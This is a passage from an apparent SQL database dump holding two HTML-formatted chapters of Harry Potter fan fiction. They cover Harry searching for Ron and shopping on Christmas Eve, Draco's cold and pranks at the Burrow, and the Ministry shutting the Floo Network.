Potter?&#8221;</p>\n\n</font><font size="2">\n\n<p></p></font>\n\n\n\n '),
	(271, 10, ' <blockquote>\n\n<p><font size="4" face="Garamond"></font></p>\n\n<p><font size="4" face="Garamond"><br>\n\n\n<font size="4"></font></font></p><p><font size="4" face="Garamond"><font size="4">It was an hour after dawn when Mrs Weasley came down the stairs. She immediately headed for the kitchen to prepare the morning meal, but stopped at the doorway.</font></font></p><font size="4" face="Garamond"><font size="4">\n\n<p></p>\n\n<p>&#8220;Good morning, children. You&#8217;re all up early.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;We haven&#8217;t slept, Mrs Weasley,&#8221; Hermione said, picking at the tablecloth.</p>\n\n<p></p>\n\n<p>&#8220;Oh, why not? Did something happen?&#8221;</p>\n\n<p></p>\n\n<p>A glance next to him told Harry that Hermione wasn&#8217;t going to say anything, and Draco, who was sitting across from him, didn&#8217;t care either way. He could use another of those cigarettes that Malfoy had given him earlier, it really had calmed him. Too bad Mrs Weasley and Hermione were there. &#8220;Ron didn&#8217;t come back with us last night. And we waited up, but he hasn&#8217;t been here.&#8221;</p>\n\n<p></p>\n\n<p>Mrs Weasley&#8217;s eyes rounded and she put a hand to her chest. &#8220;He hasn&#8217;t been home! Why didn&#8217;t he Floo with you and Hermione?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;We had a fight,&#8221; Hermione whispered, still not looking at the woman.</p>\n\n<p></p>\n\n<p>Harry put a hand over hers and squeezed. &#8220;Ron left her at the Leaky Cauldron and took off into Muggle London.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Muggle London!&#8221; Mrs Weasley exclaimed with a gasp, winding the front of her dressing gown in twitchy fingers. &#8220;Why didn&#8217;t you go after him, Harry?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I wasn&#8217;t there. Ron said he would go and pick her up so that they could buy presents without me hanging about. By the time I found out he was gone, it was almost an hour later.&#8221;</p>\n\n<p></p>\n\n<p>Mrs Weasley turned her face toward Hermione. &#8220;What did you two fight about?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Um.&#8221; Hermione squirmed in her seat, clearly uncomfortable talking about it. &#8220;I found out that he<font face="Times New Roman">&#8212;</font> &#8221; she took a deep breath before looking Molly directly in the eyes. &#8220;He was lying to me about something.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;About what, dear?&#8221; she asked mildly.</p>\n\n<p></p>\n\n<p>&#8220;About Harry. Ron told me some horrible things and I<font face="Times New Roman">&#8212;</font> They just weren&#8217;t true.&#8221;</p>\n\n<p></p>\n\n<p>Mrs Weasley&#8217;s eyes flickered down to where Harry was holding the girl&#8217;s hand, her face hardening imperceptibly. &#8220;I see.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I plan on going out today to look for him. I just wanted to wait until you woke up so you would know he wasn&#8217;t here,&#8221; Harry said, rising from the table to walk towards her. &#8220;Don&#8217;t worry, Mrs Weasley, I&#8217;ll find him.&#8221;</p>\n\n<p></p>\n\n<p>Mrs Weasley looked up at him, tears in her eyes. &#8220;You tell Ron to come home when you catch up to him. I&#8217;m not even angry, I just want my baby home with me.&#8221;</p>\n\n<p></p>\n\n<p>Her shoulders shivered convulsively and Harry gave them a squeeze before walking out of the room. He still hadn&#8217;t slept and was about to go back out into the world in order to find Ron. Harry didn&#8217;t hear when Malfoy had slipped out of the kitchen room to tap him on the shoulder.</p>\n\n<p></p>\n\n<p>&#8220;Potter.&#8221;</p>\n\n<p></p>\n\n<p>Harry turned around. &#8220;What do you want?&#8221;</p>\n\n<p></p>\n\n<p>Draco pulled a small leather bag out of his dressing gown and pressed it into Harry&#8217;s hand, closing his fingers over it. &#8220;Pick me up some fags? Earl and Flick&#8217;s, you know the ones. I&#8217;m about to die here, haven&#8217;t had one since I gave you the last earlier.&#8221;</p>\n\n<p></p>\n\n<p>Rolling his eyes, Harry stuffed the money in his pocket. &#8220;All right, but go to sleep for God&#8217;s sake. You&#8216;ll thank me later. I&#8216;m sure the twins have all sorts of surprises cooked up for you.&#8221;</p>\n\n<p></p>\n\n<p>Draco smirked. &#8220;Something like the sweets they tried to feed me last night? I remember what happened to a Ravenclaw a few years ago when they ate one, sprouted feathers and turned into a bloody bird.&#8221;</p>\n\n<p></p>\n\n<p>Harry sniggered, &#8220;I&#8217;m sure.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I don&#8217;t think they&#8217;ll bother me again, though,&#8221; Draco mused, placing a finger over his lips to cover his grin. &#8220;I split it and slipped the same sweet into their dinner last night. I&#8217;ve never seen a half-man half-bird before, much less two at the same time. Don&#8217;t think I want to again as it isn&#8217;t pleasant to look at, upsets the stomach you know.&#8221;</p>\n\n<p></p>\n\n<p>Trust Draco Malfoy to get one up on the twins.</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;ll get your bloody cigarettes, just keep out of Mrs Weasley&#8217;s way today or she&#8217;ll have you sitting next to the fire holding her yarn. She knits something fierce during the holidays and it isn&#8217;t fun.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Done it already, fell asleep if I recall. Then she called me a poor dear and sent me upstairs.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Lucky arse,&#8221; Harry grumbled before he stepped away and in front of the fireplace, throwing powder on the grate. &#8220;Diagon Alley,&#8221; he shouted and walked into the flames. </p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>It wasn&#8217;t going to be a quiet day, Ginny had decided. At least Hermione and Draco were out of the line of fire and fast asleep in bed. Separately, of course. Something urged her to add that last bit in, just to make sure things were perfectly clear.</p>\n\n<p></p>\n\n<p>As she sat at the kitchen table, sipping a cup of tea carefully, Ginny spotted the newspaper from the night before and reached for it eagerly. Ha! Now there were no blasted annoying Malfoys to keep it from her. Unfortunately, Ginny was yet again too late as her brother George swept it from her reach and made to sit at the table. Sod it all!</p>\n\n<p></p>\n\n<p>&#8220;Ah George, I didn&#8217;t mean to hurt your feelings,&#8221; Charlie told him as he followed his brother into the kitchen, giving a solid blow to George&#8217;s back.</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;m Fred! Can&#8217;t even tell us apart, ya worm.&#8221; Fred stood straighter, hands on the back of the chair he was about to sit in.</p>\n\n<p></p>\n\n<p>Charlie stiffened. &#8220;I can so tell you apart.&#8221;</p>\n\n<p></p>\n\n<p>Fred snorted, &#8220;Aye, it wasn&#8217;t confusing last night when you helped that Malfoy prat bug our food.&#8221;</p>\n\n<p></p>\n\n<p>His brother snickered quietly. &#8220;I&#8217;m an equal opportunity prankster. Didn&#8217;t want to upset one by leaving the other out, did I?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Stupid bugger, you&#8217;re supposed to be with us!&#8221;</p>\n\n<p></p>\n\n<p>&#8220;The jokers getting joked by their own inventions was too priceless for me to stop him, Fred,&#8221; Charlie said, with a twinkle in his eye.</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;m George!&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Sure you are, mate.&#8221; Charlie laughed as he walked away. Apparently it was a foolish thing to do because the twin, whichever one it was, picked up a skillet and boshed him hard on the back of the head. Ginny rolled her eyes, unconcerned, and grabbed at the day-old daily the boy had let drop. Finally!</p>\n\n<p></p>\n\n<p>&#8220;Charlie!&#8221; Mrs Weasley screamed as her son lay on the floor, flopping and twitching like a landed fish. She immediately turned her attention to the twin, eyes glinting like small, hard stones. &#8220;You&#8217;ve killed your brother!&#8221; Mrs Weasley screeched as she reached out with one hand to pinch Fred or George&#8217;s ear and the other hand went around a large, wooden spoon.</p>\n\n<p></p>\n\n<p>&#8220;Mum! He&#8217;s all right, honest.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;You&#8217;ve killed your brother!&#8221; Mrs Weasley&#8217;s shrill voice rose several more octaves before she started beating Fred or George about the head and shoulders. Charlie, who was still on the floor, held his stomach and pointed at the twin, silent tears of mirth flowing down his crinkled cheeks. Ginny studiously attempted to ignore the entire scene, immersing herself instead in an article about the Knight Bus crash.</p>\n\n<p></p>\n\n<p>It wasn&#8217;t possible anymore to ignore the others as another brother made his way into the kitchen. After that, it was a game of catch the Weasley as both twins chased the miraculously recovered Charlie around the room and their mother puffed after them, red-faced and brandishing her beloved spoon. Ginny calmly climbed up onto the table and sat cross-legged, watching the carousel of red hair go by.</p>\n\n<p></p>\n\n<p>When a blonde head appeared in the doorway to the kitchen, Ginny grinned. Clearing her throat, she announced Malfoy&#8217;s presence. &#8220;Hey George, there&#8217;s Draco now.&#8221;</p>\n\n<p></p>\n\n<p>Four people stopped and turned to look at the lean figure standing in the frame, a single eyebrow raised in inquiry. Fred and George rushed forward to grab at him and the game began anew.</p>\n\n<p></p>\n\n<p>&#8220;Come here, Malfoy. We want a word.&#8221;</p>\n\n<p></p>\n\n<p>Draco though, was fairly light on his feet and he managed to lead the merry Congo line around the table twice and then out the door into the snow-covered garden. Fred and George were on his heels, followed directly by Charlie with Mrs Weasley and her spoon bringing up the rear.</p>\n\n<p></p>\n\n<p>Ginny scooted to the edge of the table and slipped down, walking over to shut the door. No one had any respect for the poor, over-worked fireplaces.</p>\n\n<p></p>\n\n<p>&#8220;What was all that about?&#8221;</p>\n\n<p></p>\n\n<p>She spun around and spotted Ron next to the table, looking slightly rumpled but none the worse for wear.</p>\n\n<p></p>\n\n<p>&#8220;Ron!&#8221; Ginny ran and flung herself at her brother, squeezing him tightly around the middle. He chuckled lightly and pushed her back.</p>\n\n<p></p>\n\n<p>&#8220;Careful there, don&#8217;t crush the merchandise.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;We were so worried! Harry left this morning for Muggle London to look for you. Where have you been?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I just had to sort some things out. Mum isn&#8217;t cross, is she?&#8221;</p>\n\n<p></p>\n\n<p>Ginny lifted an eyebrow and folded her arms over her chest. &#8220;What do you think?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Thought as much,&#8221; he sighed, running a hand through his hair. &#8220;I haven&#8217;t slept yet, so I&#8217;ll be in my room.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;That won&#8217;t stop her, you know.&#8221;</p>\n\n<p></p>\n\n<p>Ron looked down at his sister and pecked her on the forehead before turning toward the stairs. Ginny sighed and gritted her teeth. Weasley men could be so blasted stubborn!</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>&#8220;Ron!&#8221;</p>\n\n<p></p>\n\n<p>Harry shouted and waved when he saw a familiar red head tucked in a corner at the Leaky Cauldron. The boy lifted his head and smiled weakly.</p>\n\n<p></p>\n\n<p>&#8220;Hullo, Harry.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Hullo yourself, there.&#8221; Harry slipped into the seat next to his friend and looked down at the table. Should he say something about what Hermione had discovered the day before? Harry shook his head and pushed thoughts of the girl and all problems with Ron firmly out of his mind. It was time to keep the peace or Ron would take off again. &#8220;I uh<font face="Times New Roman">&#8212;</font> just came back from Gringott&#8217;s, had to get some Galleons switched over. Good thing I saw you here, I was about to go into Muggle London looking for you. Where&#8217;ve you been?&#8221;</p>\n\n<p></p>\n\n<p>Ron shrugged a shoulder and stared into his pint of Butterbeer. &#8220;I just wanted to be alone for awhile. Hermione really cranked me yesterday.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;You and Hermione have had fights before, that&#8217;s nothing new.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Maybe.&#8221;</p>\n\n<p></p>\n\n<p>Harry was silent for a few moments, hoping that Ron would open up about what was wrong, but disappointed when he didn&#8217;t. Things were changing rapidly and it wasn&#8217;t in a good way. Not to mention that it took a lot of effort to keep from punching Ron in the nose instead of playing it cool.</p>\n\n<p></p>\n\n<p>&#8220;Well, I was going to do some shopping after I found you. Care to join me?&#8221;</p>\n\n<p></p>\n\n<p>Ron snorted and took one last gulp from his mug before slamming it on the table. He wiped some foam off his mouth with the back of his hand and stood up. &#8220;No, I&#8217;m going home; haven&#8217;t slept all night.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;None of us have, Ron.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;What were you doing up all night?&#8221;</p>\n\n<p></p>\n\n<p>The narrow glance of suspicion from Ron made him flinch, especially since it wasn&#8217;t entirely unfounded. &#8220;We were waiting for you to come back. Your mum&#8217;s been sick with worry.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;She&#8217;ll get over it.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;What&#8217;s wrong with you?&#8221; Harry burst out suddenly, standing up to look his friend in the eye. This wasn&#8217;t the Ron he knew.</p>\n\n<p></p>\n\n<p>&#8220;Nothing,&#8221; Ron sighed, twiddling his thumbs a bit before hooking them into his pockets. &#8220;I&#8217;m just tired. Happy shopping, Harry.&#8221;</p>\n\n<p></p>\n\n<p>With that, Ron strode across the room to the fireplace and threw a pinch of Floo powder from his pouch into the grate, heading for the Burrow. Harry stood there for a moment, hurt and angry, not to mention a little guilty. If Ron knew what he and Hermione had been about the night before . . . But he didn&#8217;t, couldn&#8217;t possibly know anything. Besides, Harry and Hermione had already decided that they would make sure to include Ron in most everything, so he wouldn&#8217;t feel left out when they went somewhere or talked. He only hoped that it was enough.</p>\n\n<p></p>\n\n<p>Harry turned and shuffled his feet, walking out of the Leaky Cauldron and into the heart of Muggle London.</p>\n\n<p></p>\n\n<p>The streets were crowded. Small wonder, as it was Christmas Eve. He was thankful that he had thought to have some Galleons converted at Gringott&#8217;s before going to look for Ron. With the Floo shortage and Knight Bus problems, not to mention that Christmas was the next day, it was his final chance to buy presents for the Weasleys and Hermione.</p>\n\n<p></p>\n\n<p>Hermione.</p>\n\n<p></p>\n\n<p>It was going to be difficult this year to buy something for her. On most occasions when presents were called for, any heavy, leather-bound book that looked like it hadn&#8217;t been touched in several years seemed just the thing. But now . . . gah! It was so bloody complicated. Especially with Ron and <i>his </i>oddity still whirling around in his head. Time to settle things out. Deal with Ron later; buy shiny trinkets for others now.</p>\n\n<p></p>\n\n<p>The shops were packed and Harry felt somewhat like a sardine as he pushed his way through, picking up different items for the assorted Weasleys and pausing briefly at a cafe for a cup of coffee to perk him up before moving on. Christmas was complicated at the Burrow and it would be much easier just to go to Harrod&#8216;s instead of poking around in all the little stores, but Harry just wanted it to be done so he could get some sleep and the department store was miles away.</p>\n\n<p></p>\n\n<p>Sighing, he threw a few Muggle gags into his basket along with a remote-controlled race car for Mr Weasley. The man had enough batteries to light London for years, so Harry figured that he might as well get some use from them.</p>\n\n<p></p>\n\n<p>As he walked down the street, loaded with parcels, but trudging dutifully onward, Harry realised that he still hadn&#8217;t found a present for Hermione yet. What did one get for their <i>girlfriend</i>? The word still felt odd and Harry found himself vocalising it a few times, oblivious to curious onlookers, just to drill it into his head. A girl who was a friend? More than a friend now, since she&#8217;d always been that. His snogging partner? Significant other? None of it seemed to fit the newly discovered wonder that was <i>Hermione</i>.</p>\n\n<p></p>\n\n<p>Something girly perhaps. Hermione used to complain frequently that they never saw her as a girl, just another one of the mates. Harry looked up when he realised that his parcels, hands, and the path under his feet had taken on a pinkish cast from the light of the shop beside him.</p>\n\n<p></p>\n\n<p>Checking his money once saw that he still had several twenty pound notes left to be spent and only one person to spend it on. Would it be all right if he maybe spoiled her just this once? With a grin, Harry realised that he probably would spoil her a lot more often now than he used to do. Decision made, he walked into the shop.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~* </p>\n\n<p></p>\n\n<p></p>\n\n<p>&#8220;Bundle up a bit more, Draco. There&#8217;s a dear.&#8221;</p>\n\n<p></p>\n\n<p>Mrs Weasley was oblivious to the narrow look the boy gave her as she went about building up the fire in the hearth. He was wrapped snugly in a thick blanket with a thermometer sticking out of his mouth. It was all very undignified. Especially when a tiny voice from inside the stick stated loudly that his temperature was officially above normal.</p>\n\n<p></p>\n\n<p>There was a funny tickling in the back of his throat and before Draco could make out what it was, the thermometer flew from his mouth with a violent sneeze. His nose and eyes watered and the world was bleary for a moment until he was able to wipe his face.</p>\n\n<p></p>\n\n<p>Molly shook her head and muttered a quick repairing spell at the broken glass on the floor before picking the now intact thermometer up. &#8220;Just as I suspected, you have a cold.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I do nod haff a coald,&#8221; Draco stated carefully, annoyed by the fact that he <i>did </i>seem to have a lisp or something now. Out of the corner of his eye, he could see the twins laughing and pointing at him. Even Ginny and Charlie were trying to hold in a giggle or two. At least runty Ron was still upstairs pouting, but Granger was peeping around the doorway with wide eyes.</p>\n\n<p></p>\n\n<p>&#8220;Terrible thing about that snow sprite. If you hadn&#8216;t fallen on her while trying to get at George, her sister never would have hexed you,&#8221; Mrs Weasley prattled on while pulling another blanket around his shoulders. &#8220;Ginny,&#8221; she called. &#8220;Bring me Grandmum&#8217;s potion; you know the one.&#8221;</p>\n\n<p></p>\n\n<p>At this, the twins howled even louder until their mother thumped them on the head.</p>\n\n<p></p>\n\n<p>&#8220;Oh, you&#8217;re in for it now, Malfoy. And here we wanted revenge for your stunt earlier. This is priceless, really,&#8221; George said, rubbing his ear.</p>\n\n<p></p>\n\n<p>George was now differentiated from his twin by the fact that he had a large, purple stain on his face from the inkbottle Draco had thrown at him when they came back inside. Fred tittered beside him, slapping his knee.</p>\n\n<p></p>\n\n<p>&#8220;You&#8217;ll love this. Mum puts lots of garlic in Grandmum&#8217;s potion. Too bad you&#8217;ll probably be feeling better later; George and I could&#8217;ve had loads of fun with this.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;There&#8217;s still fun to be had, Fred,&#8221; George said, turning to his twin in mock solemnity.</p>\n\n<p></p>\n\n<p>&#8220;Indeed?&#8221; Fred tried to raise only one of his eyebrows, but failed, so he settled for sticking his nose in the air.</p>\n\n<p></p>\n\n<p>&#8220;Indeed.&#8221;</p>\n\n<p></p>\n\n<p>George took his brother by the arm and they skipped merrily around the sofa, much to the annoyance of Draco, singing a song about ferrets and germs. Mrs Weasley was distracted from thumping them again by Ginny&#8217;s arrival with the potion. The twins stopped and grinned as their mother brought a spoon out of her apron, their faces alight with anticipation.</p>\n\n<p></p>\n\n<p>&#8220;See, Fred?&#8221; George pointed out, acknowledging the spoon with a shake of his finger.</p>\n\n<p></p>\n\n<p>Fred nodded, donning a falsely stuffy air and sniffing. &#8220;Much fun to be had.&#8221;</p>\n\n<p></p>\n\n<p>Draco eyed the yellowish liquid warily as Ginny poured a goodly amount onto the utensil her mother held. &#8220;Whad&#8217;s in dad?&#8221;</p>\n\n<p></p>\n\n<p>Ginny beamed innocently at him and batted her lashes. &#8220;Garlic, honey, burdock, feverfew, and the extra special ingredient: dragon dung.&#8221;</p>\n\n<p></p>\n\n<p>Gagging, Draco shook his head vehemently. &#8220;You&#8217;re nod giffing me dad sduff.&#8221;</p>\n\n<p></p>\n\n<p>Eyeing her mother, Ginny smiled and took the spoon from her grip, walking toward Draco with it held out like a sword. &#8220;Yes I am,&#8221; she chirruped brightly. &#8220;You&#8217;ll drink this and be back to your less annoying self.&#8221;</p>\n\n<p></p>\n\n<p>He tried to get up, but there were hands on either shoulder pushing him down and moving suddenly wasn&#8216;t an option. Draco decided on keeping his mouth firmly sealed, barely able to breathe through his clogged nose. Mrs Weasley covered a laugh as Ginny stood in front of him with one hand on her hip.</p>\n\n<p></p>\n\n<p>&#8220;Open you&#8217;re mouth, Malfoy.&#8221;</p>\n\n<p></p>\n\n<p>Draco remained maddeningly silent and narrowed his eyes at her, daring the girl to make a move. Sighing, Ginny reached out a hand to pinch his nose shut.</p>\n\n<p></p>\n\n<p>&#8220;Just have to do this the hard way then.&#8221;</p>\n\n<p></p>\n\n<p>She waited patiently as Draco continued to hold his breath. When he felt his lungs burn though, he had to open his mouth to get some air and she shoved the spoon full of potion in, he could hear the clank of metal against his teeth. He almost spit it back out, but was eventually able to swallow, eyes watering all the while.</p>\n\n<p></p>\n\n<p>Mrs Weasley and Charlie were guffawing as they made their way into the kitchen for some tea, and one of the twins ruffled his hair rudely before they followed their mother. Ginny stood with her arms crossed and a smug look on her face.</p>\n\n<p></p>\n\n<p>&#8220;Now that wasn&#8217;t so hard.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Are you <i>drying</i> do gill me?&#8221;</p>\n\n<p></p>\n\n<p>Ginny leaned forward, an inch from his face. &#8220;No, I&#8217;m not &#8216;drying do gill&#8217; you. If I didn&#8217;t do it, Mum would have.&#8221;</p>\n\n<p></p>\n\n<p>Draco grinned suddenly and it obviously put her off since she attempted to step backwards. He reached out and pulled Ginny to her knees before him, moving his head forward to kiss her soundly on the mouth. She struggled for a moment but he held on, tickling her lips with his tongue for good measure, until he had to stop for breath.</p>\n\n<p></p>\n\n<p>Jumping to her feet, Ginny wiped at her mouth. &#8220;Ack! What did you do that for?&#8221;</p>\n\n<p></p>\n\n<p>Draco smile grew broader and he leant back against the sofa, folding his arms behind his head and gazing at her from hooded eyes. &#8220;You officially haff a coald. Now bring me a cup of dea before you fall ofer.&#8221;</p>\n\n<p></p>\n\n<p>Ginny&#8217;s eyes widened dramatically and she dropped her hand before running into the kitchen. &#8220;Muuuum!&#8221;</p>\n\n<p></p>\n\n<p>He pulled his arms down and burrowed further under the warm blankets, stretching his feet toward the fire. Payback really was a lot of fun.</p>\n\n<p></p>\n\n<b><p></p>\n\n</b></font><p><font size="4"><b>Reviewing is good karma. If you&#8217;d like to join my yahoo group, direct your browsers to: </b></font><a href="http://groups.yahoo.com/group/stafics"><b><u><font size="4" color="#0000ff">http://groups.yahoo.com/group/stafics</font></u></b></a></p>\n\n</font></blockquote><font size="4" face="Garamond">\n\n '),
	(271, 11, ' <blockquote>\n\n<p><font size="4" face="Garamond"></font></p>\n\n<p><font size="4" face="Garamond"><br>\n\n\n<font size="4"></font></font></p><p><font size="4" face="Garamond"><font size="4">When Harry entered the Leaky Cauldron sometime near dusk, he almost literally ran into Mr Weasley. Fortunately, a friendly wizard at the Enchanted Christmas Shoppe in Diagon Alley had shrunk all his packages into a self-expanding box. Otherwise, they would have been broken by his hasty withdrawal from the door. </font></font></p><font size="4" face="Garamond"><font size="4">\n\n<p></p>\n\n<p>Mr Weasley turned around and spotted Harry, reaching out a hand to steady him while casting a nervous glance out toward the setting sun. </p>\n\n<p></p>\n\n<p>&#8220;I&#8217;m so glad that I found you, Harry. We have to go back to the Burrow immediately.&#8221;</p>\n\n<p></p>\n\n<p>Harry suddenly got a very cold feeling in his stomach that spread and tightened over his ribs. &#8220;Why? What&#8217;s happened? Is everyone all right?&#8221;</p>\n\n<p></p>\n\n<p>Mr Weasley waved this away. &#8220;Everyone&#8217;s fine. But Minister Fudge was persuaded to close down the Floo Network until after the holidays.&#8221;</p>\n\n<p></p>\n\n<p>Dumbstruck, Harry began to speak, but Mr Weasley kept him silent with a quick motion of his hand. &#8220;I&#8217;ll explain it to you and everyone else when we get back to the Burrow. But we have to go before sunset or you&#8217;ll be stuck here until January.&#8221;</p>\n\n<p></p>\n\n<p>Harry nodded and allowed himself to be led over to the Leaky Cauldron&#8217;s fireplace. He stepped into the green flames after Mr Weasley and shouted for the Burrow.</p>\n\n<p></p>\n\n<p>Tumbling out of the hearth, Harry turned around just in time to see a small card fly out of the fireplace. He picked it up and read in stunned silence.</p>\n\n<i><p></p>\n\n</i><p><i>\n\n</i><b><u>By Order of the Ministry of Magic</u></b></p><b><u>\n\n</u></b><i><p></p>\n\n<p>Greetings,</p>\n\n<p>Due to the Floo powder shortage, the Ministry of Magic has shut down the Floo Network until after the holidays. The Network has become too expensive to maintain in comparison to the amount of people able to make use of it. Please allow extra time for other modes of transportation during your holiday visits this year.</p>\n\n<p>Happy Christmas,</p>\n\n<p>Cornelius Fudge, Minister of Magic</p>\n\n</i><p></p>\n\n<p>&#8220;This followed me out. How could they do such a thing?&#8221;</p>\n\n<p></p>\n\n<p>Mr Weasley took the card Harry offered him and looked it over gravely before tossing it back into the hearth.</p>\n\n<p></p>\n\n<p>&#8220;Come into the kitchen, Harry. I&#8217;ll ask Molly to put the kettle on and tell you all about it.&#8221;</p>\n\n<p></p>\n\n<p>Harry nodded and set his box on the couch, following after Mr Weasley. Draco and Ginny were sitting at the table with Mrs Weasley, both bundled up in blankets and sneezing intermittently. Mrs Weasley looked up at Harry and Mr Weasley, smiling brightly.</p>\n\n<p></p>\n\n<p>&#8220;You&#8217;re just in time, I made some fresh tea.&#8221;</p>\n\n<p></p>\n\n<p>Mr Weasley briefly pecked his wife on top of her head and took a seat beside her, motioning for Harry to sit down as well. </p>\n\n<p></p>\n\n<p>&#8220;What happened to them?&#8221; Harry asked as Mr Weasley passed him a cup of tea. Mrs Weasley smothered a laugh behind her hand and Draco shot her a dirty look.</p>\n\n<p></p>\n\n<p>&#8220;Draco wad playing oud in duh snow when he sdepped on a snow spride and god cursed by her sisder,&#8221; Ginny volunteered, taking a shaky sip of her tea.</p>\n\n<p></p>\n\n<p>&#8220;I wad nod playing in duh snow,&#8221; he said carefully. &#8220;I wad drying do gill George.&#8221;</p>\n\n<p></p>\n\n<p>Harry glanced at Mr Weasley out of the corner of his eye and both burst out laughing, tears streaming down their cheeks. Mrs Weasley stopped giggling behind her hand and stood up to pull down a bottle from the cupboard. Draco&#8217;s eyes widened and he stood up quickly, letting the blanket drop from his shoulders.</p>\n\n<p></p>\n\n<p>&#8220;No, no more of dad. I&#8217;m nod daking id!&#8221; </p>\n\n<p></p>\n\n<p>Mrs Weasley grabbed a spoon out of her apron and made her way over to him carefully. &#8220;Yes, you are. Don&#8217;t be such a baby, dear.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;m nod being a baby. You&#8217;re drying do poidon me!&#8221;</p>\n\n<p></p>\n\n<p>Ginny rolled her eyes and Harry tried hard not to laugh again. Who would have thought that Draco Malfoy would ever be afraid of Mrs Weasley?</p>\n\n<p></p>\n\n<p>Smiling sweetly, Mrs Weasley pinched his nose until he opened his mouth and then shoved the spoon inside. Draco twisted his mouth in disgust, but swallowed all the same.</p>\n\n<p></p>\n\n<p>&#8220;There now, not so horrible. But it really is difficult to pinch your nose every time. Why don&#8217;t you just buck up, dear?&#8221;</p>\n\n<p></p>\n\n<p>Draco wrinkled his nose at her and made a funny snorting sound, but didn&#8217;t say anything further until Mrs Weasley turned toward her daughter.</p>\n\n<p></p>\n\n<p>&#8220;Led me do id!&#8221; Draco shouted out, a wicked grin on his face. </p>\n\n<p></p>\n\n<p>Ginny stuck her tongue out at him and opened her mouth obediently. </p>\n\n<p></p>\n\n<p>Mrs Weasley only tutted at Ginny&#8217;s behaviour and shook her head. &#8220;You already gave her a cold, Draco. I think she&#8217;s been tortured enough for today.&#8221;</p>\n\n<p></p>\n\n<p>All the while, Harry was sitting at the table with a confounded expression on his face that was mirrored by Mr Weasley.</p>\n\n<p></p>\n\n<p>&#8220;Molly, how did Draco give Ginny a cold?&#8221; Arthur asked, his voice faint with growing suspicion. </p>\n\n<p></p>\n\n<p>Mrs Weasley only glanced slyly at Draco out of the corner of her eye. &#8220;I don&#8217;t know, dear. Draco, care to explain to Mr Weasley why Ginny has your cold?&#8221;</p>\n\n<p></p>\n\n<p>Harry raised his eyebrows as Ginny turned a vivid shade of red and Draco sat back down, grumbling something under his breath. Mr Weasley was staring daggers at the pale blonde head in front of him and was about to say something until Harry spoke first, not quite feeling up to hearing a battle to the death between Weasley and Malfoy.</p>\n\n<p></p>\n\n<p>&#8220;Did Ron get back to the Burrow all right, Mrs Weasley? I met him at the Leaky Cauldron this morning, but he didn&#8217;t say much to me before he Flooed back here.&#8221;</p>\n\n<p></p>\n\n<p>Mrs Weasley shook her head and sat down next to her husband, pouring him another cup of tea. Draco held out his cup and she poured some for him as well before answering Harry.</p>\n\n<p></p>\n\n<p>&#8220;He&#8217;s been up in his room all day and won&#8217;t talk to anyone. I don&#8217;t know what&#8217;s wrong with him,&#8221; she sighed and looked down at her hands, twisting her fingers around the tablecloth.</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;m only glad that he decided to come home today, it would have been too late tomorrow,&#8221; Mr Weasley said, breath steaming over his tea cup.</p>\n\n<p></p>\n\n<p>Mrs Weasley looked up at this, her eyes startled. &#8220;Too late? What do you mean?&#8221;</p>\n\n<p></p>\n\n<p>Mr Weasley set his cup on the table and pinched the bridge of his nose wearily. &#8220;Minister Fudge decided to shut down the Floo Network until after the holidays and the Floo powder shortage has passed.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;What? Why did he do a thing like that?&#8221; Mrs Weasley exclaimed, sucking in a breath.</p>\n\n<p></p>\n\n<p>Mr Weasley twisted his lips in a frown, shooting an apologetic glance at Draco before stating, &#8220;Lucius.&#8221;</p>\n\n<p></p>\n\n<p>If Draco was angry or embarrassed, it wasn&#8217;t visible except for the white knuckles clutching at his cup. &#8220;Id shouldn&#8217;d surprise you, he&#8217;s a basdard.&#8221;</p>\n\n<p></p>\n\n<p>The cold, gripping feeling from earlier was back and Harry tried desperately to drown it in tea. His hands were shaking and he suddenly felt the urge to find Hermione and hold her tight. No one was safe though; something was coming. Perhaps it would be better to put Hermione and everyone else somewhere he couldn&#8217;t find them. Then maybe Voldemort wouldn&#8217;t be able to hurt them either.</p>\n\n<p></p>\n\n<p>&#8220;Draco, Molly and I need to have a word with you later. But it can wait until after tea, if you&#8217;d like,&#8221; Mr Weasley said.</p>\n\n<p></p>\n\n<p>Harry had the feeling that he should eavesdrop on that conversation as it likely didn&#8216;t have anything to do with how Ginny caught Malfoy&#8216;s cold. He didn&#8217;t like the fact that he knew next to nothing about why Malfoy was even still there. Mrs Weasley stood up from the table and set the empty teapot in the sink.</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;m going to start tea right now, actually. Harry,&#8221; she glanced at him distractedly. &#8220;Why don&#8217;t you 